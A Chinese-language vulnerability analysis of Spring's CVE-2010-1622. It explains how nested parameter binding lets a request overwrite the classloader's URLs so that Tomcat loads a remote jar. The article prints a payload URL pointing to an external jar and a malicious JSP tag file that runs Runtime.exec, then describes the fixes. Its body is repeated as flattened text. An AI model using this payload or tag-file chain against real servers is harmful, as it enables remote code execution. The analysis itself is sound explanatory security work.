spring rce 从cve-2010-1622到CVE-2022-22965 篇一
字数 2168 2025-08-29 08:32:30

Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965

1. 前言

本文详细分析Spring框架中的两个重要RCE漏洞:CVE-2010-1622和CVE-2022-22965(Spring4Shell)。这两个漏洞都涉及到Spring框架的参数绑定机制和类加载器的操作,其中CVE-2022-22965被认为是CVE-2010-1622的绕过版本。

2. CVE-2010-1622漏洞分析

2.1 影响版本

  • Spring版本:
    • 3.0.0 to 3.0.2
    • 2.5.0 to 2.5.6.SEC01 (社区版)
    • 2.5.0 to 2.5.7 (订阅客户版)
  • Tomcat版本:< 6.0.28
  • 使用Spring表单标签功能

2.2 前置知识

2.2.1 Java Class对象

  • Java中有两种对象:通过new()创建的对象和Class对象
  • Class类存在于java.lang包中,表示运行时类型信息
  • 每个类都有一个对应的Class对象,保存在.class文件中
  • Class对象特点:
    • Class类也是类的一种
    • 手动编写的类编译后会产生Class对象
    • 每个类在内存中有且只有一个对应的Class对象
    • Class对象只能由JVM创建和加载
    • 用于运行时获取类型信息(反射基础)

获取Class对象的方法:

  1. 类名.class
  2. Class.forName()
  3. getClass()

2.2.2 Java Bean

符合以下条件的类称为Java Bean:

  1. 所有属性为private
  2. 提供默认构造方法(无参构造)
  3. 提供getter和setter
  4. 实现Serializable接口

2.2.3 Java内省(Introspector)

内省是Java对Bean类属性、事件的处理方法,通过Introspector类可以:

  1. 获取BeanInfo信息
  2. 通过BeanInfo获取属性描述器(PropertyDescriptor)
  3. 通过属性描述器获取getter/setter方法
  4. 通过反射调用这些方法

示例:

BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] pds = beanInfo.getPropertyDescriptors();

注意:所有类都会继承Object的class属性,对应getClass()方法。

2.2.4 Spring Bean

  • Spring Bean是Spring IoC容器管理的对象
  • 可以通过XML配置创建Bean
  • 示例:
<bean id="bean1" class="com.User">
  <constructor-arg value="zhangsan"/>
  <constructor-arg value="21"/>
</bean>

2.2.5 Spring MVC参数传递

Controller接收参数的方式:

  1. 通过实体Bean接收
  2. 通过方法形参接收
  3. 通过HttpServletRequest接收
  4. 通过@PathVariable接收
  5. 通过@RequestParam接收
  6. 通过@ModelAttribute接收

重点:参数嵌套绑定

  • 支持user.address.street=xxx形式的参数
  • 相当于执行:UserObj.getUser().getAddress().setStreet("xxx")
  • 关键点:数组、List、Map类型的字段即使没有set方法也能赋值

2.2.6 Spring MVC表单标签

  • 位于spring-webmvc.jar
  • 启用方式:<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>
  • 常用标签:<form:form>, <form:input>

2.2.7 JSP JSTL

  • JSP标准标签库
  • 可以自定义标签
  • 漏洞利用的关键:通过自定义标签实现RCE

2.3 漏洞利用分析

2.3.1 Payload

http://localhost:8080/student?class.classLoader.URLs[0]=jar:http://127.0.0.1:8081/spring-jar.jar!/

2.3.2 利用原理

  1. 通过参数绑定修改classLoader.URLs[0]
  2. 触发TldLocationsCache.scanJars()加载远程jar
  3. 远程jar中包含恶意TLD文件,覆盖Spring表单标签
  4. 渲染JSP时执行恶意代码

2.3.3 关键点解析

  1. 为什么能修改URLs[0]?

    • 通过内省机制可以访问class.classLoader属性
    • URLs是数组类型,Spring允许没有setter的数组赋值
  2. 恶意jar包内容

    • 结构:
      /META-INF/spring-form.tld
      /META-INF/tags/InputTag.tag
      
    • spring-form.tld内容:
      <taglib version="2.0">
        <uri>http://www.springframework.org/tags/form</uri>
        <tag-file>
          <name>input</name>
          <path>/META-INF/tags/InputTag.tag</path>
        </tag-file>
      </taglib>
      
    • InputTag.tag内容:
      <%@ tag dynamic-attributes="dynattrs" %>
      <% java.lang.Runtime.getRuntime().exec("calc"); %>
      
  3. 触发流程

    • exp → 参数自动绑定 → 数组覆盖classLoader.URLs[0] → WebappClassLoader.getURLs() → TldLocationsCache.scanJars() → 模板解析 → 执行shellcode

2.4 漏洞修复

  1. Spring修复

    • 在CachedIntrospectionResults中添加classloader到黑名单
  2. Tomcat修复

    • 6.0.28版本后getURLs()返回clone的数组,防止修改原始URLs

3. 总结

CVE-2010-1622漏洞展示了Spring框架参数绑定机制的潜在危险,特别是对类加载器属性的修改能力。理解这个漏洞需要掌握:

  1. Java内省机制
  2. Spring参数绑定特性
  3. JSP标签库加载机制
  4. Tomcat类加载器工作原理

这个漏洞为后续分析CVE-2022-22965(Spring4Shell)奠定了基础,两者在利用思路上有相似之处。

Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965 1. 前言 本文详细分析Spring框架中的两个重要RCE漏洞:CVE-2010-1622和CVE-2022-22965(Spring4Shell)。这两个漏洞都涉及到Spring框架的参数绑定机制和类加载器的操作,其中CVE-2022-22965被认为是CVE-2010-1622的绕过版本。 2. CVE-2010-1622漏洞分析 2.1 影响版本 Spring版本: 3.0.0 to 3.0.2 2.5.0 to 2.5.6.SEC01 (社区版) 2.5.0 to 2.5.7 (订阅客户版) Tomcat版本: < 6.0.28 使用Spring表单标签功能 2.2 前置知识 2.2.1 Java Class对象 Java中有两种对象:通过new()创建的对象和Class对象 Class类存在于java.lang包中,表示运行时类型信息 每个类都有一个对应的Class对象,保存在.class文件中 Class对象特点: Class类也是类的一种 手动编写的类编译后会产生Class对象 每个类在内存中有且只有一个对应的Class对象 Class对象只能由JVM创建和加载 用于运行时获取类型信息(反射基础) 获取Class对象的方法: 类名.class Class.forName() getClass() 2.2.2 Java Bean 符合以下条件的类称为Java Bean: 所有属性为private 提供默认构造方法(无参构造) 提供getter和setter 实现Serializable接口 2.2.3 Java内省(Introspector) 内省是Java对Bean类属性、事件的处理方法,通过Introspector类可以: 获取BeanInfo信息 通过BeanInfo获取属性描述器(PropertyDescriptor) 通过属性描述器获取getter/setter方法 通过反射调用这些方法 示例: 注意:所有类都会继承Object的class属性,对应getClass()方法。 2.2.4 Spring Bean Spring Bean是Spring IoC容器管理的对象 可以通过XML配置创建Bean 示例: 2.2.5 Spring MVC参数传递 Controller接收参数的方式: 通过实体Bean接收 通过方法形参接收 通过HttpServletRequest接收 通过@PathVariable接收 通过@RequestParam接收 通过@ModelAttribute接收 重点 :参数嵌套绑定 支持 user.address.street=xxx 形式的参数 相当于执行: UserObj.getUser().getAddress().setStreet("xxx") 关键点 :数组、List、Map类型的字段即使没有set方法也能赋值 2.2.6 Spring MVC表单标签 位于spring-webmvc.jar 启用方式: <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %> 常用标签: <form:form> , <form:input> 等 2.2.7 JSP JSTL JSP标准标签库 可以自定义标签 漏洞利用的关键:通过自定义标签实现RCE 2.3 漏洞利用分析 2.3.1 Payload 2.3.2 利用原理 通过参数绑定修改classLoader.URLs[ 0 ] 触发TldLocationsCache.scanJars()加载远程jar 远程jar中包含恶意TLD文件,覆盖Spring表单标签 渲染JSP时执行恶意代码 2.3.3 关键点解析 为什么能修改URLs[ 0]? 通过内省机制可以访问class.classLoader属性 URLs是数组类型,Spring允许没有setter的数组赋值 恶意jar包内容 结构: spring-form.tld内容: InputTag.tag内容: 触发流程 exp → 参数自动绑定 → 数组覆盖classLoader.URLs[ 0 ] → WebappClassLoader.getURLs() → TldLocationsCache.scanJars() → 模板解析 → 执行shellcode 2.4 漏洞修复 Spring修复 : 在CachedIntrospectionResults中添加classloader到黑名单 Tomcat修复 : 6.0.28版本后getURLs()返回clone的数组,防止修改原始URLs 3. 总结 CVE-2010-1622漏洞展示了Spring框架参数绑定机制的潜在危险,特别是对类加载器属性的修改能力。理解这个漏洞需要掌握: Java内省机制 Spring参数绑定特性 JSP标签库加载机制 Tomcat类加载器工作原理 这个漏洞为后续分析CVE-2022-22965(Spring4Shell)奠定了基础,两者在利用思路上有相似之处。